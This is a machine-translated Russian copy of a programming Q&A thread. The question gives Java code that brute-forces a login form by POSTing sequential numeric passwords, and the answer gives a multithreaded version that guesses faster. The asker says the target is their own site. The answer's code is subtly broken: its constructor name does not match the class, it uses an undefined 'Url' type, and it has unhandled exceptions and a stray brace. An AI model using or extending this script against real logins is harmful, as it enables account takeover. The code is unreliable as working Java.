Brute Force с Java HTTP URL-соединением

Я пытаюсь грубо заставить простую форму входа, которую я сам создал на своем сайте. Изначально я использовал плагин fusczer от WebScarab, он довольно быстрый. Затем я хочу настроить больше, так что я думаю, что я могу сделать грубую силу с очень простым кодированием. Но, к моему удивлению, мой Java-код работает так медленно: около 2,5 запросов в секунду, что намного медленнее, чем плагин WebScarab... Я чувствую, что, возможно, я не выполняю часть соединения правильно... Любая помощь? Спасибо!

public class HTTPURLConnection {


int guessPassword = 0;

public static void main(String[] args) throws Exception {

    HTTPURLConnection http = new HTTPURLConnection();

    System.out.println("Start!");

            //I'm simply guessing password ranging from 0 to 200
    for (int i =0; i<200; i++) {


        if(http.sendPost())
            break;

    }
    System.out.println("Done!");

    }



    private boolean sendPost() throws Exception {

    String url = "http://mywebsite.com/myfile.php";
    URL obj = new URL(url);

    HttpURLConnection con = (HttpURLConnection) obj.openConnection();

    //add request header
    con.setRequestMethod("POST");
    con.setRequestProperty("User-Agent", "Mozilla/5.0  etc.");
    con.setRequestProperty("Accept-Language", "en-US,en;q=0.8");
    con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
    con.setRequestProperty("Connection", "keep-alive");
    con.setRequestProperty("Accept", "*/*");
    con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");

    guessPassword ++;


    String urlParameters = "name=userName&pwd="+guessPassword;

    // Send post request
    con.setDoOutput(true);
    DataOutputStream wr = new DataOutputStream(con.getOutputStream());
    wr.writeBytes(urlParameters);
    wr.flush();
    wr.close();

    int responseCode = con.getResponseCode();

    BufferedReader in = new BufferedReader(
            new InputStreamReader(con.getInputStream()));
    String inputLine;
    StringBuffer response = new StringBuffer();

    while ((inputLine = in.readLine()) != null) {
        response.append(inputLine);
    }
    in.close();

    //if password is not correct, my form should return false
    if (response.toString().equals("false"))
        return false;
    else 
        return true;

    }
}

1 ответ

Решение

Вы можете изменить входной размер BufferedReader, чтобы он был больше.... Попробуйте использовать один и тот же объект url вместо того, чтобы заново создавать его каждый раз....

Кроме того, вы можете запускать этот метод несколько раз одновременно с потоками....

class HTTPThread extends Thread {
     URL url;
     boolean success = false;
     String pass;
     PrimeThread(Url url,String pass) {
         this.url = url;
         this.pass = pass;
     }

     public void run() {
         HttpURLConnection con = (HttpURLConnection) url.openConnection();

         //add request header
         con.setRequestMethod("POST");
         con.setRequestProperty("User-Agent", "Mozilla/5.0  etc.");
         con.setRequestProperty("Accept-Language", "en-US,en;q=0.8");
         con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
         con.setRequestProperty("Connection", "keep-alive");
         con.setRequestProperty("Accept", "*/*");
         con.setRequestProperty("Accept-Encoding", "gzip,deflate,sdch");




         String urlParameters = "name=userName&pwd="+pass;

         // Send post request
         con.setDoOutput(true);
         DataOutputStream wr = new DataOutputStream(con.getOutputStream());
         wr.writeBytes(urlParameters);
         wr.flush();
         wr.close();

         int responseCode = con.getResponseCode();

         BufferedReader in = new BufferedReader(
                 new InputStreamReader(con.getInputStream()));
         String inputLine;
         StringBuffer response = new StringBuffer();

         while ((inputLine = in.readLine()) != null) {
             response.append(inputLine);
         }
         in.close();

         //if password is not correct, my form should return false
         if (response.toString().equals("false"))
             success= false;
         else 
             success= true;
         }
     }
     public String getPassword(){return pass;}
     public boolean isSuccess(){return success;}
 }
Другие вопросы по тегам